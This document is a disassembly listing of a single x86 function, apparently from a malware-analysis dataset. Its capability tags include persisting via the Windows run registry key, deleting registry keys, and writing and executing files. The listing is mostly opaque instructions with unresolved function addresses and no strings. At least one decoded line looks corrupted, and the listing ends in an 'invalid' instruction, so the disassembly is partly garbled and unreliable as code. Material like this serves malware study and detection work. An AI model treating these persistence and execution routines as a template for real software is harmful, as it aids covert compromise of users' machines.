Function at 0x45ef98
Capabilities:
Check os version
Create directory
Create process on windows
Delete registry key
Get disk information
Persist via run registry key
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2e
push 0
push 0
dec ecx
jne 0x45efa0
push ebx
push esi
push edi
mov esi, 0x467048
mov edi, 0x467080
mov ebx, 0x4670cb
xor eax, eax
push ebp
push 0x46058c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, 0x4605a4
call fcn.004045b8
cmp byte [0x4670cc], 0x66
jne 0x45f043
mov eax, edi
mov edx, 0x4605d8
call fcn.004045b8
mov eax, dword [0x465198]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x460634
mov edx, 0x460644
mov eax, 0x80000002
call fcn.00408e9c
mov edx, dword [ebp - 4]
mov eax, 0x467054
call fcn.004045b8
cmp byte [0x4670c9], 0
jne 0x45f043
mov eax, edi
mov edx, 0x46068c
call fcn.004045b8
push 0x2710
call sub.kernel32.dll_Sleep
mov eax, dword [0x467054]
call fcn.00408d3c
mov byte [ebx], al
mov edx, 0x460644
mov ecx, 0x460634
mov eax, 0x80000002
call fcn.00409364
lea eax, [ebp - 8]
call fcn.00408be0
mov edx, dword [ebp - 8]
mov eax, 0x467044
call fcn.004045b8
lea eax, [ebp - 0xc]
call fcn.00408c4c
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.004045b8
mov eax, edi
mov edx, 0x460760
call fcn.004045b8
mov eax, 0x46704c
mov ecx, 0x4607c8
mov edx, dword [esi]
call fcn.00404870
mov eax, edi
mov edx, 0x4607d8
call fcn.004045b8
mov eax, dword [0x467054]
call fcn.00404824
test eax, eax
jne 0x45f0c6
mov eax, 0x467054
mov ecx, 0x460858
mov edx, dword [esi]
call fcn.00404870
mov eax, 0x464e80
mov ecx, dword [0x464e80]
mov edx, dword [esi]
call fcn.00404870
mov eax, 0x46703c
mov ecx, 0x460868
mov edx, dword [0x464e80]
call fcn.00404870
mov eax, 0x467040
mov ecx, 0x46087c
mov edx, dword [0x464e80]
call fcn.00404870
xor eax, eax
mov dword [0x4670d0], eax
call fcn.004620bc
mov eax, edi
mov edx, 0x460890
call fcn.004045b8
mov eax, edi
mov edx, 0x460930
call fcn.004045b8
cmp byte [0x4670c9], 0
je 0x45f368
mov eax, 0x4609c8
call fcn.004081ec
push 0xbb8
call sub.kernel32.dll_Sleep
call fcn.00408dbc
lea eax, [ebp - 0x10]
mov ecx, 0x4609e0
mov edx, dword [esi]
call fcn.00404870
mov eax, dword [ebp - 0x10]
call fcn.004080a0
lea eax, [ebp - 0x14]
mov ecx, 0x4609f4
mov edx, dword [esi]
call fcn.00404870
mov eax, dword [ebp - 0x14]
call fcn.004080a0
mov eax, dword [0x46703c]
call fcn.004080a0
mov ecx, 0x460858
mov edx, 0x460a08
mov eax, 0x80000002
call fcn.00409364
mov ecx, 0x460858
mov edx, 0x460a40
add byte [eax - 0x7ffffffe], bh
call fcn.00409364
mov ecx, 0x460858
mov edx, 0x460a80
mov eax, 0x80000001
call fcn.00409364
mov edx, 0x460a08
mov ecx, 0x460ac8
mov eax, 0x80000001
call fcn.00409364
mov edx, 0x460a80
mov ecx, 0x460ad8
mov eax, 0x80000002
call fcn.00409364
lea eax, [ebp - 0x18]
mov ecx, 0x460ae8
mov edx, dword [esi]
call fcn.00404870
mov eax, dword [ebp - 0x18]
call fcn.004080a0
lea eax, [ebp - 0x1c]
mov ecx, 0x460afc
mov edx, dword [esi]
call fcn.00404870
mov eax, dword [ebp - 0x1c]
call fcn.004080a0
mov eax, edi
mov edx, 0x460b10
call fcn.004045b8
lea eax, [ebp - 0x20]
mov ecx, 0x460b3c
mov edx, dword [esi]
call fcn.00404870
mov eax, dword [ebp - 0x20]
call fcn.004080a0
lea eax, [ebp - 0x24]
mov ecx, 0x460b50
mov edx, dword [esi]
call fcn.00404870
mov eax, dword [ebp - 0x24]
call fcn.004080a0
lea eax, [ebp - 0x28]
mov ecx, 0x460b64
mov edx, dword [esi]
call fcn.00404870
mov eax, dword [ebp - 0x28]
call fcn.004080a0
lea eax, [ebp - 0x2c]
mov ecx, 0x460b78
mov edx, dword [esi]
call fcn.00404870
mov eax, dword [ebp - 0x2c]
call fcn.004080a0
push 0
mov eax, dword [0x464e80]
call fcn.00404a24
push eax
call sub.kernel32.dll_CreateDirectoryA
call sub.kernel32.dll_GetVersion_1
and eax, 0xffff
and eax, 0xff
cmp ax, 5
setb byte [0x4670c8]
cmp byte [0x4670c8], 0
je 0x45f3a2
call fcn.004085cc
mov eax, edi
mov edx, 0x460d1c
call fcn.004045b8
mov eax, dword [0x465198]
push eax
mov edx, 0x460644
mov ecx, 0x460d60
mov eax, 0x80000002
call fcn.00408de8
push eax
call fcn.00407bfc
pop edx
sub eax, edx
cmp eax, 0x1e
jl 0x46056e
mov eax, edi
mov edx, 0x460d6c
call fcn.004045b8
lea edx, [ebp - 0x40]
mov eax, dword [0x467054]
call fcn.00407c2c
mov edx, dword [ebp - 0x40]
mov eax, 0x467058
call fcn.004045b8
call fcn.00402aa8
lea edx, [ebp - 0x44]
mov eax, 0x460d88
call fcn.00408704
mov edx, dword [ebp - 0x44]
mov eax, 0x467084
call fcn.004045b8
mov eax, edi
mov edx, 0x460db8
call fcn.004045b8
mov eax, 0x467050
mov edx, 0x460e4c
call fcn.004045b8
lea eax, [ebp - 0x4c]
mov ecx, dword [0x467050]
mov edx, 0x460e68
call fcn.00404870
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x48]
call fcn.00408704
mov edx, dword [ebp - 0x48]
mov eax, 0x467088
call fcn.004045b8
push 1
push 0x96
push 0x7a120
mov ecx, 0x460ae8
lea eax, [ebp - 0x50]
mov edx, dword [esi]
call fcn.00404870
mov edx, dword [ebp - 0x50]
mov cl, 1
mov eax, dword [0x467054]
call fcn.00407df0
mov byte [ebx], al
mov ecx, 0x460ae8
lea eax, [ebp - 0x54]
mov edx, dword [esi]
call fcn.00404870
mov eax, dword [ebp - 0x54]
call fcn.00408d3c
mov byte [ebx], al
mov eax, dword [0x465198]
push eax
mov edx, 0x460644
mov ecx, 0x460e7c
invalid